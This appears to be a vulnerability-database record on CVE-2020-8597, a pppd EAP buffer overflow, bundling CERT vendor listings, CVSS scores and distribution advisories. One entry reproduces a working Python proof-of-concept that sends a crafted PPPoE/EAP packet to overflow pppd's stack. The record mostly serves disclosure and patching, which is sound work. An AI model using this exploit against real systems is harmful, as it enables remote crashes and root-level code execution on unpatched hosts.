\n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### SMC Networks Inc. Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### SafeNet Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Sony Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### TDS Telecom Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Technicolor Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Tizen Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### TrueOS Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Turbolinux Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Unisys Corporation Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### XigmaNAS Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### Zyxel Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### dd-wrt Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### eero Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### m0n0wall Unknown\n\nNotified: 2020-02-11 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### pfSense Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\n### s2n Unknown\n\nNotified: 2020-02-19 Updated: 2020-06-19 **CVE-2020-8597**| Unknown \n---|--- \n \n#### Vendor Statement\n\nWe have not received a statement from the vendor.\n\nView all 102 vendors __View less vendors __\n\n \n\n\n### CVSS Metrics\n\nGroup | Score | Vector \n---|---|--- \nBase | 9.3 | AV:N/AC:M/Au:N/C:C/I:C/A:C \nTemporal | 7.7 | E:F/RL:OF/RC:C \nEnvironmental | 7.7 | CDP:ND/TD:ND/CR:ND/IR:ND/AR:ND \n \n \n\n\n### References\n\n * <https://nvd.nist.gov/vuln/detail/CVE-2020-8597>\n * <https://vulners.com/cve/CVE-2020-8597>\n * <https://github.com/paulusmack/ppp/commit/8d45443bb5c9372b4c6a362ba2f443d41c5636af>\n * <https://github.com/paulusmack/ppp/commit/8d45443bb5c9372b4c6a362ba2f443d41c5636af>\n * <http://git.savannah.nongnu.org/cgit/lwip.git/commit/?id=2ee3cbe69c6d2805e64e7cac2a1c1706e49ffd86>\n * <http://git.savannah.nongnu.org/cgit/lwip.git/commit/?id=d281d3e9592a3ca2ad0c3b7840f8036facc02f7b>\n * <https://github.com/CERTCC/PoC-Exploits/tree/master/cve-2020-8597-pptpd>\n\n### Other Information\n\n**CVE IDs:** | [CVE-2020-8597 ](<http://web.nvd.nist.gov/vuln/detail/CVE-2020-8597>) \n---|--- \n**Date Public:** | 2020-02-02 \n**Date First Published:** | 2020-03-04 \n**Date Last Updated: ** | 2020-06-15 13:40 UTC \n**Document Revision: ** | 79 \n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-04T00:00:00", "type": "cert", "title": "pppd vulnerable to buffer overflow due to a flaw in EAP packet processing", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-06-15T13:40:00", "id": "VU:782301", "href": "https://www.kb.cert.org/vuls/id/782301", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhatcve": [{"lastseen": "2023-12-06T23:52:22", "description": "A buffer overflow flaw was found in the ppp package in versions 2.4.2 through 2.4.8. The bounds check for the rhostname was improperly constructed in the EAP request and response functions which could allow a buffer overflow to occur. Data confidentiality and integrity, as well as system availability, are all at risk with this vulnerability.\n#### Mitigation\n\nRed Hat is working on providing updates packages which patches this flaw. This flaw can only be mitigated by updating to these package versions. The "Stack Smashing Protection" may help mitigate code execution attacks for this flaw and limit its impact to crash only. \n\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-04-08T22:01:55", "type": "redhatcve", "title": "CVE-2020-8597", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2023-09-07T22:07:30", "id": "RH:CVE-2020-8597", "href": "https://access.redhat.com/security/cve/cve-2020-8597", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "debiancve": [{"lastseen": "2023-12-06T18:24:34", "description": "eap.c in pppd in ppp 2.4.2 through 2.4.8 has an rhostname buffer overflow in the eap_request and eap_response functions.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-03T23:15:00", "type": "debiancve", "title": "CVE-2020-8597", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-03T23:15:00", "id": "DEBIANCVE:CVE-2020-8597", "href": "https://security-tracker.debian.org/tracker/CVE-2020-8597", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "redhat": [{"lastseen": "2023-12-07T18:41:55", "description": "The ppp packages contain the Point-to-Point Protocol (PPP) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T14:07:48", "type": "redhat", "title": "(RHSA-2020:0630) Important: ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T14:34:51", "id": "RHSA-2020:0630", "href": "https://access.redhat.com/errata/RHSA-2020:0630", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T18:41:55", "description": "The ppp packages contain the Point-to-Point Protocol (PPP) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T15:00:56", "type": "redhat", "title": "(RHSA-2020:0634) Important: ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T15:13:13", "id": "RHSA-2020:0634", "href": "https://access.redhat.com/errata/RHSA-2020:0634", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T18:41:55", "description": "The ppp packages contain the Point-to-Point Protocol (PPP) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T14:09:14", "type": "redhat", "title": "(RHSA-2020:0631) Important: ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T15:01:18", "id": "RHSA-2020:0631", "href": "https://access.redhat.com/errata/RHSA-2020:0631", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2023-12-07T18:41:55", "description": "The ppp packages contain the Point-to-Point Protocol (PPP) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T14:59:09", "type": "redhat", "title": "(RHSA-2020:0633) Important: ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T15:25:18", "id": "RHSA-2020:0633", "href": "https://access.redhat.com/errata/RHSA-2020:0633", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "zdt": [{"lastseen": "2021-12-21T11:36:33", "description": "", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2020-03-19T00:00:00", "type": "zdt", "title": "pppd 2.4.8 Buffer Overflow Exploit", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-19T00:00:00", "id": "1337DAY-ID-34116", "href": "https://0day.today/exploit/description/34116", "sourceData": "# Exploit Title: (Point to Point Protocol Daemon) versions 2.4.2 through\n2.4.8 are vulnerable to buffer overflow - remote\n# Author: nu11secur1ty\n# Date: 2020-03-18\n# Vendor: Point to Point Protocol Daemon\n# Link:\nhttps://github.com/nu11secur1ty/Windows10Exploits/tree/master/Undefined/CVE-2020-8597\n# CVE: CVE-2020-8597\n\n\n\n[+] Credits: Ventsislav Varbanovski (@ nu11secur1ty)\n[+] Website: https://www.nu11secur1ty.com/\n[+] Source: readme from GitHUB\n[+] twitter.com/nu11secur1ty\n\n\n[Exploit Program Code]\n\n#!/usr/bin/python3\n# https://kb.cert.org/vuls/id/782301/\nfrom socket import *\n\ndef sendeth(dst, src, eth_type, payload, interface = \"eth0\"):\n \"\"\"Send raw Ethernet packet on interface.\"\"\"\n\n assert(len(src) == len(dst) == 6) # 48-bit\n assert(len(eth_type) == 2) # 16-bit\n\n s = socket(AF_PACKET, SOCK_RAW)\n\n s.bind((interface, 0))\n return s.send(src + dst + eth_type + payload)\n\nif __name__ == \"__main__\":\n print(\"Sent %d-byte Ethernet packet on eth0\" %\n sendeth(\"\\xc4\\x54\\x44\\x2b\\x90\\x86\",\n \"\\x54\\xe1\\xad\\xe8\\x4f\\x49\",\n \"\\x88\\x64\" ,\n \"\\x11\\x00\" \\\n\n\"\\x00\\x04\\x00\\x5a\\xc2\\x27\\x01\\xd3\\x00\\x58\\x04\\x12\\xef\\x0a\\x5c\\x97\" \\\n\n\"\\x2e\\xcf\\xae\\xb3\\x30\\x73\\x10\\xe9\\x9d\\x81\\xf9\\xb0\\xde\\xcf\\x41\\x41\" \\\n\n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \\\n\n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \\\n\n\"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\" \\\n \"\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\\x41\"\n))\n\n[Product]\nPoint to Point Protocol Daemon\n\n\n[Security Issue]\nBy sending an unsolicited EAP packet to a vulnerable ppp client or server,\nan unauthenticated remote attacker could cause memory corruption in the\npppd process, which may allow for arbitrary code execution.\n\n\n[References]\nPPP is the protocol used for establishing internet links over dial-up\nmodems, DSL connections, and many other types of point-to-point links\nincluding Virtual Private Networks (VPN) such as Point to Point Tunneling\nProtocol (PPTP). The pppd software can also authenticate a network\nconnected peer and/or supply authentication information to the peer using\nmultiple authentication protocols including EAP.\nDue to a flaw in the Extensible Authentication Protocol (EAP) packet\nprocessing in the Point-to-Point Protocol Daemon (pppd), an unauthenticated\nremote attacker may be able to cause a stack buffer overflow, which may\nallow arbitrary code execution on the target system. This vulnerability is\ndue to an error in validating the size of the input before copying the\nsupplied data into memory. As the validation of the data size is incorrect,\narbitrary data can be copied into memory and cause memory corruption\npossibly leading to execution of unwanted code.\nThe vulnerability is in the logic of the eap parsing code, specifically in\nthe eap_request() and eap_response() functions in eap.c that are called by\na network input handler. These functions take a pointer and length as input\nusing the the first byte as a type. If the type is EAPT_MD5CHAP(4), it\nlooks at an embedded 1-byte length field. The logic in this code is\nintended to makes sure that embedded length is smaller than the whole\npacket length. After this verification, it tries to copy provided data\n(hostname) that is located after the embedded length field into a local\nstack buffer. This bounds check is incorrect and allows for memory copy to\nhappen with an arbitrary length of data.\nAn additional logic flaw causes the eap_input() function to not check if\nEAP has been negotiated during the Line Control Protocol (LCP) phase. This\nallows an unauthenticated attacker to send an EAP packet even if ppp\nrefused the authentication negotiation due to lack of support for EAP or\ndue to mismatch of an agreed pre-shared passphrase in the LCP phase. The\nvulnerable pppd code in eap_input will still process the EAP packet and\ntrigger the stack buffer overflow. This unverified data with an unknown\nsize can be used to corrupt memory of the target system. The pppd often\nruns with high privileges (system or root) and works in conjunction with\nkernel drivers. This makes it possible for an attacker to potentially\nexecute arbitrary code with system or root level privileges.\nThe pppd software is also adopted into lwIP (lightweight IP) project to\nprovide pppd capabilities for small devices. The default installer and\npackages of lwIP are not vulnerable to this buffer overflow. However if you\nhave used the lwIP source code and configured specifically to enable EAP at\ncompile time, your software is likely vulnerable to the buffer overflow.\nThe recommended update is available from Git repoistory\nhttp://git.savannah.nongnu.org/cgit/lwip.git.\n", "sourceHref": "https://0day.today/exploit/34116", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "almalinux": [{"lastseen": "2023-12-06T17:27:28", "description": "The ppp packages contain the Point-to-Point Protocol (PPP) daemon and documentation for PPP support. The PPP protocol provides a method for transmitting datagrams over serial point-to-point links. PPP is usually used to dial in to an Internet Service Provider (ISP) or other organization over a modem and phone line.\n\nSecurity Fix(es):\n\n* ppp: Buffer overflow in the eap_request and eap_response functions in eap.c (CVE-2020-8597)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-27T14:59:09", "type": "almalinux", "title": "Important: ppp security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-02-27T14:59:09", "id": "ALSA-2020:0633", "href": "https://errata.almalinux.org/8/ALSA-2020-0633.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "archlinux": [{"lastseen": "2023-12-06T16:49:27", "description": "Arch Linux Security Advisory ASA-202003-3\n=========================================\n\nSeverity: Medium\nDate : 2020-03-07\nCVE-ID : CVE-2020-8597\nPackage : ppp\nType : arbitrary code execution\nRemote : Yes\nLink : https://security.archlinux.org/AVG-1101\n\nSummary\n=======\n\nThe package ppp before version 2.4.7-7 is vulnerable to arbitrary code\nexecution.\n\nResolution\n==========\n\nUpgrade to 2.4.7-7.\n\n# pacman -Syu \"ppp>=2.4.7-7\"\n\nThe problem has been fixed upstream but no release is available yet.\n\nWorkaround\n==========\n\nNone.\n\nDescription\n===========\n\nA buffer overflow flaw was found in the ppp package in versions 2.4.2\nthrough 2.4.8. The bounds check for the rhostname was improperly\nconstructed in the EAP request and response functions which could allow\na buffer overflow to occur. Data confidentiality and integrity, as well\nas system availability, are all at risk with this vulnerability.\n\nImpact\n======\n\nA remote unauthenticated user can crash or possibly execute code on the\nhost by sending malicious authentication data.\n\nReferences\n==========\n\nhttps://lists.debian.org/debian-lts-announce/2020/02/msg00005.html\nhttps://github.com/paulusmack/ppp/commit/8d7970b8f3db727fe798b65f3377fe6787575426\nhttps://seclists.org/fulldisclosure/2020/Mar/6\nhttps://security.archlinux.org/CVE-2020-8597", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 9.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-03-07T00:00:00", "type": "archlinux", "title": "[ASA-202003-3] ppp: arbitrary code execution", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-8597"], "modified": "2020-03-07T00:00:00", "id": "ASA-202003-3", "href": "https://security.archlinux.org/ASA-202003-3", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "slackware": [{"lastseen": "2023-12-06T18:44:58", "description": "New ppp packages are available for Slackware 14.0, 14.1, 14.2, and -current to\nfix a security issue.\n\n\nHere are the details from the Slackware 14.2 ChangeLog:\n\npatches/packages/ppp-2.4.8-i586-1_slack14.2.txz: Upgraded.\n This update fixes a security issue:\n By sending an unsolicited EAP packet to a vulnerable ppp client or server,\n an unauthenticated remote attacker could cause memory corruption in the\n pppd process, which may allow for arbitrary code execution.\n For more information, see:\n https://vulners.com/cve/CVE-2020-8597\n (* Security fix *)\n\nWhere to find the new packages:\n\nThanks to the friendly folks at the OSU Open Source Lab\n(http://osuosl.org) for donating FTP and rsync hosting\nto the Slackware project! :-)\n\nAlso see the \"Get Slack\" section on http://slackware.com for\nadditional mirror sites near you.\n\nUpdated package for Slackware 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware-14.0/patches/packages/ppp-2.4.8-i586-1_slack14.0.txz\n\nUpdated package for Slackware x86_64 14.0:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.0/patches/packages/ppp-2.4.8-x86_64-1_slack14.0.txz\n\nUpdated package for Slackware 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware-14.1/patches/packages/ppp-2.4.8-i586-1_slack14.1.txz\n\nUpdated package for Slackware x86_64 14.1:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.1/patches/packages/ppp-2.4.8-x86_64-1_slack14.1.txz\n\nUpdated package for Slackware 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware-14.2/patches/packages/ppp-2.4.8-i586-1_slack14.2.txz\n\nUpdated package for Slackware x86_64 14.2:\nftp://ftp.slackware.com/pub/slackware/slackware64-14.2/patches/packages/ppp-2.4.8-x86_64-1_slack14.2.txz\n\nUpdated package for Slackware -current:\nftp://ftp.slackware.com/pub/slackware/slackware-current/slackware/n/ppp-2.4.8-i586-1.txz\n\nUpdated package for Slackware x86_64 -current:\nftp://ftp.slackware.com/pub/slackware/slackware64-current/slackware64/n/ppp-2.4.8-x86_64-1.txz\n\n\nMD5 signatures:\n\nSlackware 14.0 package:\n2b3bb2dddfc38eac2fba20bb46359ae5 ppp-2.4.8-i586-1_slack14.0.txz\n\nSlackware x86_64 14.0 package:\ne4e74a259397f901746cc3f9aa541320 ppp-2.4.8-x86_64-1_slack14.0.txz\n\nSlackware 14.1 package:\nb387c4a220c35dc85ff7ca5d8b67fdaf ppp-2.4.8-i586-1_slack14.1.txz\n\nSlackware x86_64 14.1 package:\nfad1deff4c3ab51029860de52cca9abf ppp-2.4.8-x86_64-1_slack14.1.txz\n\nSlackware 